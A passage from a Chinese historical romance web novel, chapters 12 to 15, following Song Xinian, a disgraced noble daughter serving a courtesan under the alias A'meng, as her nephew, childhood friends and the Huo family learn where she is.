阿无想借此机会打听清楚宋昔年的状况,便又大着胆子开口问道:“小姐您如今当真是在贺花魁身边做事吗?”
宋昔年知道他不会轻易放弃打探自己的情况,便索性大方地跟他说:“我如今不是什么小姐,只是怜姐姐的贴身婢女罢了。我如今化名阿梦,在人前你莫要叫错给我带来不必要的麻烦。”
一顿饭结束,宋昔年她们要走,宋诺却要跟着,不管宋昔年如何说,宋诺就是不听,最后是阿无看到了她们手上拎着许多东西,主动提议送她们回去,这才让宋诺又跟了一段路。一路上宋昔年一直把宋诺抱在怀里,宋诺也是紧紧地抱住姑姑的脖子。
阿无把她们送到乐章台旁边的巷子,宋昔年就不让他再跟。
宋昔年说:“行了就送到这儿吧,前面不是你们该去的地方了!”
宋诺在放开宋昔年之前,把自己腰间挂着的荷包塞进了她的手里,靠在了她怀里闷闷地说:“这是我攒的月钱还有些是公子赏的,姑姑先拿去用吧。”说着眼泪悄悄落下。
宋昔年看着他笑了笑说:“哎呀,如今我家小阿诺也能挣钱了。你告诉姑姑他们每月给你多少月钱,你姑姑可是很能花钱的!”
宋诺羞怯地带着哭腔说:“我现在每月只有五百文,但公子时常会赏赐我,我这些都会给姑姑留着,若是姑姑没钱花,只管和我说便是!”
宋昔年替他擦去脸上的泪,笑着对他说:“那我可就不客气了,你可要在霍家好好干干,多多挣钱养活我们。”
宋诺向她保证自己会多多挣钱,最后还是小声问道:“以后我还能见到姑姑吗?”
贺怜怜听到他的话,大声地笑了出来说:“小不点,这事你姑姑说了可不算,你得来求我,我现在可是你姑姑的主家!”
宋诺立马转头看着妆容素雅满脸笑意的贺怜怜,说道:“这位漂亮姑姑,你以后能多让我姑姑出来吗?”
贺怜怜一本正经地说:“看到你这么可爱,又夸我漂亮的份上,我考虑考虑吧。”之后若无其事地伸出了手,宋诺愣住又瞬间明了,立马从给宋昔年的钱袋里挑出了一个一两重的碎银,双手捧着放在了贺怜怜手上。
宋昔年放下宋诺,临走前对阿无说:“你都教了他些什么?”
阿无还没来得及申辩,她们两人就已经进了乐章台。
宋诺站在阿无身边,扯了扯他衣襟的下摆,阿无随即将他抱起,说道:“现在好了,回去好交差了!”
宋诺说:“阿无哥,在回去之前,公子给的银子我们一人一半吧。”
阿无不可置信地看着这个四岁多五岁不到的小孩,说道:“从前怎么没看出来你居然是个小财迷!”摇了摇头无声地抱着宋诺走在回去的路上。
宋诺说:“你也知道我姑姑用钱还是厉害的,况且还有母亲和祖母要养!”
阿无最终妥协,说道:“那倒是,想必你将来也不轻松呀!回去我换了散碎银子,我们一人一半就是了,但你一定要保密,此事不可让公子知道。”两人就此达成了协议走上了诓骗霍慎的道路。
二人回了乐章台,贺怜怜就吩咐阿昙为她备水沐浴,需要提前为今晚做准备。
贺怜怜看着这大包小包的,只留下了自己爱吃的白糖牛乳膏,其他的就叫宋昔年帮她收起来了。
阿昙为她打水沐浴,贺怜怜靠在浴桶里闭着眼睛说:“你先把东西都送回后院吧,离开台还有一段时间,你晚些再过来吧”。
这话显然是对宋昔年说的,宋昔年行礼之后退出房间回了属于她们一家人的后院。
她带着东西回到了院子,刚推开门,洪媛就迎了上来,问道:“今日怎么这么早就回来了,你这大包小包的是什么?也没见你回来拿钱怎么就拿了这么多东西回来?”
宋昔年放下东西冲进屋倒了杯水,喝下之后才重新回到院子里。
兴奋地拉着嫂子的手说:“你猜我今天见到了谁?”
这时宋母从厨房擦干了手出来,说道:“
莫不是又遇见什么熟人了吧?”
宋昔年突然眼眶湿润地回答说:“是咱们家阿诺,我今儿中午吃饭时遇上他,我们还一起吃了饭,他还给了我他的钱袋子。”小心地把揣在怀里的钱袋子递给了洪媛。
宋母不敢置信地反复向她确认,问道:“当真怎会这么巧?”洪媛听到这话更是泣不成声。
宋昔年立马安慰她们说:“好了,我瞧着阿诺在霍家没说什么苦,反而壮实了许多。想必是霍家人对他还不错的缘故。”
洪媛心怀感激地说:“还是妹妹当初有远见,让阿诺得了好照顾。”
宋母感叹道:“只要阿诺能好好地,我们大人吃些苦也没什么,总能熬过去的。”
洪媛打开了儿子的钱袋,发现里面居然有七两五钱银子,她们三人相视一笑,更加确定了宋诺的日子过得不差。她们觉得日子又有了新的盼头。
阿无带着宋诺回府之后,今天两人心情都不错,所以在霍慎院子里玩了会儿,霍慎回来看到这一幕他也翘着嘴角,靠在了院子的拱门处看着他们打闹。
这半年来从未有一天,像今天这般轻松舒适。夕阳西下,落日余晖照进了这方小院,同时也照进了他们的心里。霍慎抬头看向天边的那抹橙红尽让他暂时忘了所有的事,只沉浸在这美丽的景色中。
阿无抱着宋诺开心地转圈,突然宋诺看到
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了站在他们身后沉浸在夕阳美景中的霍慎。他们停止打闹,欢声笑语结束霍慎也从中清醒。沉默地走回了屋,他们两人也紧随其后。
进屋之后霍慎在书桌前坐下,阿无机灵地给他倒了杯茶。
霍慎抿了口刚泡好的竹叶青,盯着手中的绿瓷杯,头都不抬地问道:“有何好事发生,难道你上街捡了银子?”
阿无笑得见牙不见眼,说道:“自然是好事,天大的好事,公子若是知道了也会很开心!”
霍慎自信地说道:“凭契都拿回来了!可是有了她的消息!”
阿无瞪大了,双眼吃惊地看着霍慎说:“公子真是料事如神!”还竖起了大拇指。
霍慎嫌弃地看着他,淡定地说道:“如何,可是确定她在乐章台。”
阿无点头,说道:“小的不光是确定他在,我今天还见到她了。”
霍慎难以置信从桌后缓缓站起,急切地说:“她如今怎么样?究竟是为什么会流落到乐章台?”
阿无如实回答道:“小姐,如今化名阿梦,的确是在乐章台贺姑娘身边做事。我瞧着也没什么,只是肤色黑了些有了些斑点,还戴了面纱,想必这些都是小姐自己弄的。今天她穿的是棉麻的青色短衫衣裙,我险些没认出来,多亏了阿诺眼尖,才没有错过!”
霍慎不悦说道:“什么叫你瞧着还好,从前她何时穿过麻布的衣衫,她如今都到了那种地方了能有多好?”霍慎把怒气都撒在了阿无身上,吓坏了宋诺,阿无也被吓得立马下跪认错。
阿无立马认错说:“是小的失言,公子莫气,宋小姐从小锦衣玉食自然现在的日子是不好过的。”
霍慎平心静气之后,说:“起来吧,再和我说说还有没有别的,仔细说说。”
阿无说:“我是今日拿了凭契之后带着阿诺去吃蟹,所以碰上的,小姐似乎和贺怜怜相处得很好,贺姑娘说可以时常带着小姐出来和阿诺相见。阿诺还给了贺姑娘一两银子作为答谢,之后我们就回府了。”阿无从怀里掏出一沓张凭契给霍慎。
霍慎随手翻了下,说道:“吃蟹,现在的螃蟹多少钱一只,以你的月钱够你吃几只?”
阿无收敛眉眼低头说道:“公子体恤,小的只是沾光而已。”
霍慎玩味地说:“这么说我今日才给你的钱,又花光了?”
阿无瞧着霍慎脸色说:“今日遇见小姐没了座位与她们一同拼的桌子,所以小姐就自作主张地付了所有饭钱。”阿无淡定地说着假话。
霍慎笑道:“十两银子一顿饭,阿无小哥你可真是大手笔。”
阿无解释:“现在螃蟹正当市,所以价格是不便宜,姑娘们还叫了黄酒,所以就...但也没有全用完是有剩的。”阿无默默从钱袋子里掏出了二两碎银作为试探。
霍慎没接,只是说:“这事你做得不错,剩下的你留着吧。只是你要记住你的身份,你是帝师府的长随,若时常花钱无度,别人若是有意找茬,你可有想过你该如何?”
阿无小心地回答:“阿无以后会注意的,公子请放心!”
霍慎说:“以后每月,你休沐可带着阿诺去四处逛逛,钱我出。”
阿无应了之后,带着阿诺出了书房。霍慎疲惫地捏着鼻梁,闭眼放松双目,嘴里呢喃说道:“‘阿梦’,南柯一梦吗!”
13. 第 13 章
一切收拾妥当,宋昔年拿出在街上买的糕点边拆边说:“我回来的路上刚买的豌豆黄,现在还热乎着呢。今日吃的是螃蟹带回来就腥了,且是怜姐姐付的钱,我也不好意思往回带。”宋昔年拿出两块豌豆黄分别喂进两人口中。
宋母说:“无妨的,若是想吃等螃蟹价格下来了,我们自己买些新鲜的来做就是了。”
宋昔年点头说道:“对,现在的螃蟹价格太高了,今天我们在‘马记食肆’要了八只螃蟹就要四两银子呢,一只就要五百文,他家还算个大的,别家还要价格更高些。
洪媛惊讶说道:“这么贵嘛,一只螃蟹的钱都够我们一个月的嚼用了。”
宋昔年拿了块豌豆黄边吃边说:“京城远海,海产价格高也是在所难免。”她瞧着时间差不多便说要回前头去了。走的时候还拎走了一袋点心又顺了两块豌豆黄。她们看着宋昔年风风火火的样子都默契地笑而不语。
宋昔年回到了贺怜怜的房间,贺怜怜已经沐浴完毕,坐在那儿悠闲地吃着白糖牛乳膏。
宋昔年塞了块豌豆黄给昙儿,另外把那袋糕点也递给了她。
宋昔年笑着对她说:“这份是你最爱吃的蛋黄酥,特地买给你的,犒劳你这几日的辛苦。”昙儿也不客气,开心地收下了。
昙儿害羞地说:“我这几日虽是顶了姐姐的位子,但姑娘也没亏待我,我也是得了不少公子们的赏赐呢!”
贺怜怜听了这话说:“在这儿乐章台,得不到男人的爱,便要好好抓住他们的钱。若是两样皆空,岂不是滑天下之大稽。女人嘛,横竖总要得一头的。”
对于这个话,宋昔年和昙儿附和点头,默默听着记在心里。
贺怜怜又说:“女人可以没有男人,但是不能没有钱,只有自己的钱才不会背叛自己。”
她们闲聊了一会儿,约定好今晚是宋昔年在前头伺候,让昙儿好好休息几晚。
宋昔年按照惯例陪着贺怜怜看她上台跳开场舞,之后选一个富豪公子哥做贺怜怜今晚的入幕之宾。
贺怜怜赢得满堂喝彩之后下台,杜妈妈来找说:“怜怜啊,新科状元今日特地来捧你的场,你过去相陪一番吧。”
宋昔年惊讶,小声问贺怜怜说:“新科状元文雅书生,怎么也会来这种地方?”
贺怜怜笑她傻,对她说:“你是不是傻,再怎么文雅,他也是个男人,是男人有几个不寻花问柳的?”
宋昔年扶着她默默点头,她也觉得自己问了个蠢问题。
回到房间,贺怜怜换了件天青色的宽袖襦裙,着了淡淡的妆面,趁着她清丽脱俗,文雅端庄。宋昔年想为她戴上镶有绿宝石的头面,但她拒绝绿宝石,只是挽起发髻,单边簪了一只银制的不摇小铛。
他们未说要留宿,所以杜妈妈就另安排了雅间,贺怜怜带着宋昔年来到雅间的时候,三位公子已经落座了。
贺怜怜笑盈盈地给三人行礼说:“怜怜我来迟了,向三位公子赔个不是!”
其中的一位梁公子说:“是我们三人打搅了姑娘才是,刚才在大厅见姑娘跳舞惊为天人,所以这才请姑娘前来同我们一叙,姑娘不必拘谨。”
贺怜怜说:“三位公子抬爱怜怜,哪里能算是打搅!”
宋昔年看着他们谈笑风生,自己始终默默站在一旁,偶然听见他们说自己是此次殿试的前几名,仿佛还听见了一个熟悉的名字。
当宋昔年回过神想仔细听时,就听贺怜怜问道:“二人前两甲都来了,那本次的探花郎怎么没一起来?”
那状元梁公子略带嘲讽地说:“人家可是帝师霍家四公子,怎会好意思来这里!”
贺怜怜悄悄地看了宋昔年一眼,说道:“我们只是喝喝酒聊聊天,可未做什么逾越规矩的事。”
几位公子点头表示赞同,随后说:“我们知道怜怜姑娘琴舞双绝,这舞我们已经欣赏过了,但是这琴不知道今日可否有幸亲闻啊?”
贺怜怜会意,对宋昔年说:“阿梦,你去把我的琴拿来,我要为公子们弹奏一曲。”
宋昔年闻言正准备回去拿琴,刚打开门,杜妈妈就冲进来,急匆匆地说:“怜怜呀,你快和我走,你有贵客找。”险些把宋昔年撞倒在地,还好宋昔年反应快及时躲开了。
听了杜妈妈的话,在场的所有人都微愣,梁状语面露不悦道:“妈妈没同那人说贺姑娘已经有客了?”
杜妈妈躬身赔笑道:“说了,怎会没说。只是那贵人是永平侯世子和忠静侯府的小侯爷,奴家也是没办法。”
三人一听果真得罪不起,便讪讪闭嘴。
贺怜怜开口缓和气氛说道:“好事总是多磨的,怜怜期待下次公子们的莅临!”起身行礼就带着宋昔年走了。
出了门宋昔年问贺怜怜:“姐姐为何这么快撇下他们?”
贺怜怜:“你家王小侯爷来了,你不想见他?再说了,里面就是几个无权无势的酸书生罢了,我陪了他们半天已经对得起他们出的银子了,还要我怎样?”
宋昔年说:“他们可是翰林院新进的官员,也不算是无权无势的。”
贺怜怜冷冷笑道:“官员也分大小,像他们这种新进翰林院的小官,出手又不阔绰,肯定就是十年寒窗苦读熬出头的,在这京城里,皇亲国戚都是寻常,谁会在意几个七品官!你记住钱‘不如权,权不如血缘’的。”
贺怜怜率先推门而入,就听见王靖宇抱怨说:“你早些听我的就不会如此。”
王靖宇看见贺怜怜进来,立马朝外张望,宋昔年的身影。
宋昔年进来带上门,就听王靖宇喊她:“卿云,你快来瞧瞧,我把谁带来了。”
宋昔年见满屋子都是熟人,就取下了戴在脸上的面纱。坐下给自己倒了杯乐章台专门给贵客特供的碧螺春。
她摘了面纱后,永平侯世子蒋明立马冲过来,捧着她的脸仔细地端详,说道:“阿年,真是你呀,阿宇同我讲的时候我还有点不信呢。”
宋昔年往后退了退说:“是我,不过你今天怎么和他一起来了,你爹知道了,你怎么交代。还有王靖宇你要告诉多少人,我在乐章台?”
王靖宇委屈地解释说:“我可没有到处说,逢恩又不是别人,
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我们可是铁哥们,我实在不忍心瞒着他,再说逢恩的舅父可是和内务府关系不浅,我们正计划着把你弄进宫呢。”
宋昔年说:“你当皇宫是你家后院,想进就进,想出就出啊。我现在的身份你们不宜和我走得太近,我嘱咐过你没事别来了,你居然还把逢恩也带来,你到底想干什么?”
王靖宇辩解道:“我今天来是有正事的,现在正是吃螃蟹的季节,宫里赏了点,外面的人又送了许多,我吃不掉,我就把我的这份分点给你,你不是最爱吃螃蟹嘛!”
“我有个法子,能帮你入宫。”蒋明突然开口说道。
宋昔年和蒋明是青梅竹马的情分,两家是世交,蒋明从小性格懦弱,幼时常被同龄人欺负都是宋昔年护着他,后来宋昔年两年前回京又认识了王靖宇,他们三人就组成了‘臭皮匠’组合,蒋明就是其中的诸葛亮。
蒋明清楚宋昔年的性格,所以抢在她前面说:“你也知道我家和内务府的关系,前段时间内务总管黄公公亲自上门求见我父亲,说是有事相求。事后父亲和我透露了一点,说是求他今年在外面多寻些年轻的姑娘备用进宫。去年和今年到岁数外放的宫女太多了,而且今年夏天,天气炎热也热死了一波宫女。黄公公说已经向皇后娘娘请示,可以让教坊司再送一拨人进宫,但缺口实在是有点大,所以他不敢上报,所以就求到了我爹这里。”
宋昔年不敢相信,问道说:“怎么可能,宫里每年招收宫女都是有定数的,怎么会一下子有了这么多人要被放出。”
大家对视片刻,心照不宣的了,宋昔年又问:“今年选举日子已经过了,为何不提前知会下面的人,而且也听说今年的人数不够啊。”
王靖宇嘴快说道:“哎呀,现在够了只是暂时的,等再放一批肯定就不够了,总不能让宫里的人没人伺候,那皇室不成笑话了。”
王靖宇这话一说完,房间里瞬间安静,三人同时转头看向坐在桌边喝茶的贺怜怜。
贺怜怜淡淡微笑说:“放心,我还没活够,不会说出去的。”
听了这话,宋昔年问王靖宇:“你这消息靠谱吗?这种大逆不道的话,即使是你也不能乱说的,那人可你亲姑父。”
王靖宇叹气说道:“应该不会有错,太医院正亲自诊断的,说是....”
宋昔年准备出声安慰,王靖宇说:“行了,我一点也不难过说实话,如果那位真去了,那我姑姑就是,嘿嘿你懂得,我表哥就更是尊贵无比了。这对我们家是好事呀!”
宋昔年点头说道:“的确,如果照你所说,那是要大赦再放一批人出宫。有说什么时候再选人进宫吗?”
王靖宇答道:“一年之后吧,其实也不是很急,你可以先准备着。”
宋昔年说:“如果我进宫了,那我娘她们怎么办?还有我的户籍还在还在教坊司,你们是想我再回去吗,有可能吗?”
蒋明确定地说:“只要你不转贱籍如乐章台,你的户籍就会一直在教坊司,她们就一定会再召你回去。至于你娘她们我也”蒋明正要继续说,门外却传来‘咚咚咚’的敲门声。
14. 第 14 章
房内瞬间寂静,宋昔年重新戴上了面纱,王靖宇朝外问道:“长寿,外面是谁?”
王靖宇长随长寿支支吾吾地说:“是,是...”话还未说完,那人已经推门而入。
他们一看来人个个惊讶不已,蒋明更是局促不安地起身,低头不敢看那人,王靖宇也尴尬地摸了摸鼻子,不敢出声。贺怜怜和宋昔年躬身行礼。
来人的人不是别人,他是帝师霍家大公子霍恒,也是蒋明的姐夫。霍恒在门外敲了门听见王靖宇的话之后,便挥退守在门口的长寿,自己推门而入。
霍恒进入房内,看见四人分边而坐,房内桌子上摆的茶具和几碟子精致的糕点,蒋明坐在房内最里面,他背对屏风居中而坐。王靖宇居右单独占据一张桌案,他悠闲地弓着一条腿靠桌而坐。宋昔年和贺怜怜居左两人共享一张桌案比邻相伴。
他们喝茶谈笑舒适自在,房内坦荡的杵臼之交和房外的纸醉金迷形成鲜明对比。霍恒也就此安心,对两位姑娘礼貌颔首。
霍恒缓缓开口道:“逢恩,跟我回去吧,你已经出来许久,家里人都很担心。”
蒋明听到这话,才忽然想起自己是为何一声不响跟着王靖宇到了乐章台,神情瞬间落寞,初见霍恒的局促愧疚瞬间荡然无存,他对家人现在只有浓浓的失望。
蒋明垂首缓慢地从桌子里侧绕出,行尸走肉般走向来寻自己的霍恒。宋昔年察觉事情不对,但眼下自己的身份又不好开口询问表示关心,她只能皱眉看着蒋明缓步向前,蒋明在经过她们桌前时抬头,二人四目相对蒋明朝她露出宽慰的微笑,但在宋昔年看来他这个笑容里充满了无奈。
两个时辰前,永平侯兴高采烈地去找到自己的儿子蒋明对他说:“逢恩啊,告诉你个好消息,我在吏部帮你谋了个职位,你过两天就去吏部任职吧。”
蒋明低声地说:“父亲,我不想去吏部,我想去史部做史官!”
永平侯瞪大眼睛看着他,问道:“你为何突然想做史官,你堂堂一个永平侯操操世子,怎么能做一个小小的史官呢!你可知你二哥求着我帮他进吏部,我都没有同意,你倒好放在你手上了你却不要!”
蒋明反驳道:“若是二哥想去,那就让他去吧,这样也不会白费了父亲的一番付出。”
永平侯恨铁不成钢地说:“那他还想要你的世子之位,你干脆也让他得了。”
谁知讲明居然说:“我本就无意这世子的位子,您不是也常说我的性格懦弱不适合做世子嘛!如今二哥我愿意,我可以退位让贤的,毕竟有能者居!”
永平和勃然大怒地说道:“你个没用的东西,别人争不来的东西放你手上,你都还想让出去。你告诉我他一个庶子怎么坐这世子之位?”
蒋明说:“我只想做一个小小的史官,况且您也知道我的性格,我不通人情世故,根本不适合去吏部那种地方的。”
永平侯强势地说:“无论如何,我既然都帮你安排妥当,你老老实实地去任职就好,别做什么无谓的挣扎。”永平侯负气甩袖而去。
蒋明失魂落魄地走出了永平侯府,站在门口徘徊不知去向时,王靖宇满脸笑容地向他走来,对他说:“你是特地到门口来迎接我的?果然是和我心有灵犀呀,不愧是我的好兄弟。”王靖宇正想往里走,却被蒋明拦住了。
王靖宇见他神色不对,便问他:“怎么一副闷闷不乐的样子。我有很重要的事找你。”
蒋明一脸疑惑地问:“什么事呀?如果是你那些莫名其妙的事情,我现在可没心情听你说。”
王靖宇立即否认道:“不是的,这次你一定会对我刮目相看的。”他一脸得意地看着蒋明。
蒋明还是无动于衷,认真地看着他,王靖宇最终败下阵来,无奈地说:“看来你的心情是真的很不好,那我带你去个地方吧!”
二人出去的时候讲明并没有带随从,也没有同其他人说一声,所以没有人知道他去了哪里,只知道他和王小侯爷一起出去了。
蒋家嫡出的大小姐,嫁给了霍家嫡出的大少爷为妻!两人成婚多年,并育有一女,十分恩爱!蒋家四处找人,都没有消息,临近黄昏时找到霍家来。
永平侯亲自到霍家来寻人,希望自己的儿子能在她姐姐这里,因为他知道他儿子除了家里就是别无去处了,可谁知到了霍家,蒋晴说他并未来找自己。
蒋晴了解自己弟弟的性格,他不会轻易离家出走不告而别的,于是仔细地询问父亲事情的来龙去脉龙去买。
永平侯理直气壮地说:“也没什么事儿,就是我让他去吏部任职他不肯,非要说自己要当什么史官,还小小的史官。你说他是怎么想的,好歹也是永平侯世子,却说要当史官这成何体统!”
蒋晴不耐烦地问:“后来您是怎么跟他说的?”
永平侯激动地说:“我能怎么跟他说,当然是让他老老实实去任职,别有什么其他的想法。”
蒋晴说:“您是看着他出去的吗,怎么也没让人跟着?”
永平侯说:“我当时太生气了就先走了,后来才听门房的人说是王家那小子同他一道出去的。我也去忠静侯府问过老王了,他说他家那小子也不知道去哪儿了。”
此时,霍恒也刚从学府下职回来,正临饭点,永平侯只能先留下来吃了晚饭之后再和女儿一起想想蒋明还能去哪。
霍慎今天也是第一次去翰林院报到,早上临走前,霍恒就让他回来之后,过来找自己一趟,说是有东西要给他。霍慎吃完饭,整理了心情之后来到了霍恒的院子,正巧听见他们在讨论此事。
霍慎进了院子,觉得气氛不对,于是就默默站在院外,霍恒无意间抬头看见他,霍慎只能上前请安。
霍慎说:“大哥早上说要给我什么东西?”
霍恒和煦地看着他问道:“今日是你第一次入职翰林院感觉如何,可还适应?”
霍慎如实回答:“还行吧,我一个小小的编修,也就是帮着处理文件而已,还挺清闲的。”
霍恒听他如此说:“哈哈哈,那我送你的东西,你一定很喜欢,你等着我去给你拿!”
永平侯觉得自己急得团团转了,他女婿还在同他的庶弟扯闲篇,顿时火冒三丈。
指着霍恒说:“你你你,我都急死了,你们兄弟俩倒是聊得开心。”
霍恒突然定在原地,走也不是留也不是,立马道歉说:“岳父莫恼,是我疏忽了!”霍恒向永平侯行礼赔不是。
霍恒正准备让霍慎先回去,自己明日亲自将东西送到他那儿去。
霍慎却先开口问永平侯:“我刚才在外面也听了一些,侯爷可是在找世子?”
永平侯听他问这
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个话,以为他知道儿子的去处,急忙开口说:“你知道蒋明去哪儿了?”
霍慎却摇头说:“我虽不知世子在哪,但王家小侯爷向来都是风流之地的常客,世子会不会同他去了那种地方?”
永平侯起初未反应过来,转个身之后却笑道:“你是说乐章台还是青楼楚馆!那不可能我家逢恩最是老实方正,怎么会去那种地方他也不敢去的!”
霍慎不说话,只是默默地看着永平侯,永平侯自己不确定地说:“怎么可能?也不对,王家那小子什么事儿干不出来!对对对,找了这么久都没有找到,说不准就在那种阿达地方。不愧是探花郎脑子就是灵光!”永平侯在大厅里来回叉着腰踱步走个不停,嘴里振振有词。
霍恒见如此情形,就让霍慎先坐下,帮着想想还有什么可能。
霍慎坐下片刻,永平侯说:“立马派人去青楼窑馆乐章台分别去找,动静都小一点,别被人发现。”
霍慎阻拦说道:“侯爷莫急,王靖宇怎么说也是官宦子弟堂堂王家小侯爷,他不会去寻常百姓去的地方,乐章台侯爷倒是可以派人去找找。”
永平侯正要喊人去找,霍慎说:“若是找些不牢靠的下人去寻,到时候走路了风声,岂不麻烦。我与那王靖宇还算相熟同世子也算谈得来,若是侯爷信得过我,不如我跑一趟,我们年轻人之间也是好说话的。”
永平侯觉得霍慎说得有道理,准备拜托他去找一时,霍恒却说:“如此说来,我去岂不更合适,四弟毕竟还未成婚,总是不好出没烟花之地的,若是让姨祖母知道,恐怕她不高兴,顾家妹妹可还在府中呢。”
霍慎正要辩解,解释他和顾云的关系,就听蒋晴说:“那夫君快些去吧,时候不早了,早去早回。”
事已至此,霍慎只好作罢,行礼转身告辞回了自己的院子!
知子莫若父,蒋明和王靖宇一同上了马车直奔乐章台而来,在马车上蒋明还是和王靖宇说了自己与父亲争吵的事,王靖宇不屑地说:“上次史部招考时,我就叫你去试试,以你的学识肯定没问题,你偏不听我的,说什么要先禀告长辈之后再说。若是你上次肯去考试,等任命的文书下来了,你爹不同意也不行。犹犹豫豫地现在可是你想要的结果?”
蒋明一直沉默不语,直到下了车觉得自己被骗了,气得转身要上车回去。王靖宇一把拉住他在他耳边低声说:“宋卿云在里头,你不想见她?”
蒋明不可置信地看着王靖宇,王靖宇乐呵呵地说道:“哈哈哈,我就知道你会是这个表情。走吧,我这次真没骗你。”王靖宇揽着蒋明的肩膀,带着小厮长寿大摇大摆地进了乐章台。
霍恒带着蒋明要走,宋昔年也眼神示意王靖宇也一起陪着回去,王靖宇无奈起身准备一同随行,走的时候还不忘交代说:“我让长寿把螃蟹交给那个阿昙了,你们自己看着分吧,吃不完就做了酱。记得留几坛子给我,我改天来拿。”
王靖宇贴心地想帮她们把门带上,宋昔年和贺怜怜起身行礼送他们出去。
贺怜怜突然说:“宋昔年你运气真好!我都有些羡慕你了。”
此时在门外的霍恒朝里看了宋昔年一眼,宋昔年紧张地看向门口,从缓缓关闭的门缝中,看见霍恒朝她点头淡淡微笑,宋昔年只好在朝霍恒微微行礼,随后房门关闭将他们彻底隔绝开了。
15. 第 15 章
他们三人上了马车刚刚坐定,王靖宇就好奇地问霍恒:“霍大哥,你怎么找到我们的?”
霍恒理了理衣袖说:“我岳父永平侯亲自上门来找人,我们才知道你们不见了。”
王靖宇期待地看着他,希望霍恒接下来要说的话不会是自己预料中的,但往往事与愿违!
霍恒看着王靖宇说:“他是在找来之前,已经去过你家了。实在没有法子了,才到家里看看逢恩有没有找过他姐姐。”
蒋明小声地开口:“我是准备去寻姐姐的,在门口碰见的阿宇。所以就来了这,他说...”蒋明话没说完就被王靖宇打断。
王靖宇抢先开口:“我说我这次可是被你给害惨了。还不知道我爹会怎么教训我呢!”
霍恒打趣道:“既知后果,为何还要如此?”
王靖宇不知如何回答,闭口仰头叹气。
蒋明却心情不错地说:“不过今日也不算亏,总算有件好事的。”
王靖宇听他说这话,突然坐正死死盯着他,用眼神警告。
霍恒瞧着他们之间的眉眼官司觉得有趣,便说道:“行了,小侯爷你也不用一惊一乍地打掩护了,走的时候我已经听见了,再说我若执意要问逢恩,他瞒不过我的,你也知道他不擅长说谎的。”
王靖宇一脸嫌弃地看着蒋明说:“他何止不擅长说谎,他不擅长的多的是。她以前还老说你是我们之中最聪明的,那聪明人你说回去了该如何啊?”
“阿年的事肯定不能被长辈们知晓,所以我会全部推到你的身上,这样看起来最合理。”蒋明没有半分愧疚地对王靖宇说。
王靖宇被气得七窍生烟,指着对面的蒋明说:“我把你当兄弟,你拿我甩锅,明明是你自愿进去的,现在都是我的问题了?我自己出来玩没什么,要是我爹知道我把你也带出来鬼混,那肯定是一顿好打等着我的。传出去我的名声怎么办呀。苍天啊,谁来救救我!”王靖宇无奈高举双手对天哭诉。
蒋明开口说:“你本来名声也好不到哪去,最多是被你爹打一顿而已。你是你爹的独子,他不会真下死手的,相信我。况且你不是总说好兄弟之间要互相帮忙,必要时两肋插刀也在所不惜嘛。现在你就是在为我和阿年两肋插刀,你也算得偿所愿了。还有你这件事做得真的不错,阿年虽入了乐章台,但是这个地方我们总是能找理由出入的,多少对她也能有所照应。比她去了官宦臣子的后宅要好很多,她若入了府邸后宅,曾经都是官眷别人多少都会捧高踩低,那日子可不好过。现如今她蒙了面,没几个人知道她的身份,日子也许能熬过去。”
王靖宇眼睛一亮,说道:“你果然是聪明呀,我们都没想到还有这层缘由。她自己说是因为官宦们都忌惮我姑父,怕是没人愿意替她们赎买,所以才主动入了乐章台。她同贺怜怜关系还不错,现在在她房里做事多少能得些照顾。”
蒋明点头说:“那误打误撞的也算殊途同归。”
王靖宇转头对霍恒说:“霍大哥也是足智多谋居然能想到我们在乐章台。”王靖宇拍着霍恒的马屁。
霍恒说:“是勤之猜到你可能在这,所以我就来碰碰运气。”
王靖宇说:“霍勤之!怎么是他这个狼心狗肺的负心汉,就知道他没憋什么好屁。他怎么会...”王靖宇思考了一会,他用手拍着脑门懊悔地继续说:“我那天在梦仙楼看见他,太生气了,一上头好像是我自己说漏了嘴,但我也没明说,我只是想讥讽他几句来着。”
霍恒了然地说:“勤之性子冷傲且细腻,他若是有心想在你的话里找出马脚是很容易的。”
王靖宇不服气地说:“他那不是何止是冷傲,他那是目中无人好嘛!哎,我真是太冲动了。”
蒋明笑道:“既然知道自己冲动,下回就注意点,你这样迟早会出事。”
王靖宇听他说这话,愤然起身从蒋明背后搂住他的脖子,说道:“你就不会盼着我点好呀,还是不是兄弟!你说霍慎他会不会借由此事来威胁报复我?”
蒋明不解地看着王靖宇。
王靖宇心虚地说:“我前段时间骂他骂得厉害。”
蒋明说:“不会的,霍慎他应该不会同你计较,毕竟你和阿年是挚友。”
王靖宇不信地说:“就他的所作所为,你觉得他对卿云还有旧情可言,还会因此顾惜到我?”
蒋明说:“你既然怕他报复,为何对他言语相激,你该知道祸从口出,若你惹出祸事,以后谁照拂阿年,你以后少嚣张跋扈点,多保重自身,我和阿年都还要仰仗小侯爷你呢!”
王靖宇得意地说:“你可算知道我的好了吧。放心吧,爷会照着你们的。”他拍着胸脯信誓旦旦地保证。
霍恒突然开口说:“前段时间,京城流言四起说,‘霍家四郎为保荣华,当众抛妻’不会都是你在背后推波助澜吧?”
王靖宇顿时语噎,表情也略显僵硬,霍恒瞬间明白了一切。
霍恒叹气对王靖宇说:“罢了,这件事的确是我们霍家亏欠宋家。你放心,勤之是不会用这事对你做什么的。毕竟他们曾经也是差一步要做夫妻的人,宋家的小阿诺还在我家呢。”
王靖宇说:“对啊,我怎么忘了宋诺还在你家!那霍大哥你不会...”
霍恒无语地看了王靖宇一眼说:“我怎么会,只要你自己别一冲动再说漏嘴就好。你知道皇上对宋家的事还是很敏感,就低调点,别老是在外宣扬霍家有个负心汉了。你也知道,霍家同皇上的情分,若是闹得太过难免让皇上更不满宋家。”
王靖宇如梦初醒地说:“霍大哥,说得对,是我想得浅了。霍大哥不愧是为人师表,果真是见地不凡。我都想再回‘育才书院’听你讲学了。”
霍恒爽快地说:“难得你如此好学,若你想来我安排一个名额给你也不是什么难事。”
王靖宇立即拒绝说:“不劳大哥费心,我实在是不喜欢书院的那些贵族纨绔们。若我想要上进,我自会经常去霍家寻你,届时还望霍大哥不要赶我才好!”
霍恒说:“自然不会。”
王靖宇也豪气地说:“既然霍大哥如此不计前嫌,那今日逢恩的事就全包在我一人身上了。”
话落,马车停在了霍家门外,他们三人一起下了车。
王靖宇他们走后,宋昔年嗔怪地对贺怜怜说:“姐姐,你刚是在做什么!人都没走,你是不是故意的?”
贺怜怜伸着懒腰说:“时辰不早了,我今晚应该可以睡个安稳觉了,这都是托你的福啊。我说我羡慕你是真的。”
宋昔年说:“你知道我说的不是这个,你明知我现在的处境,你还有意透露给
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霍家人。”
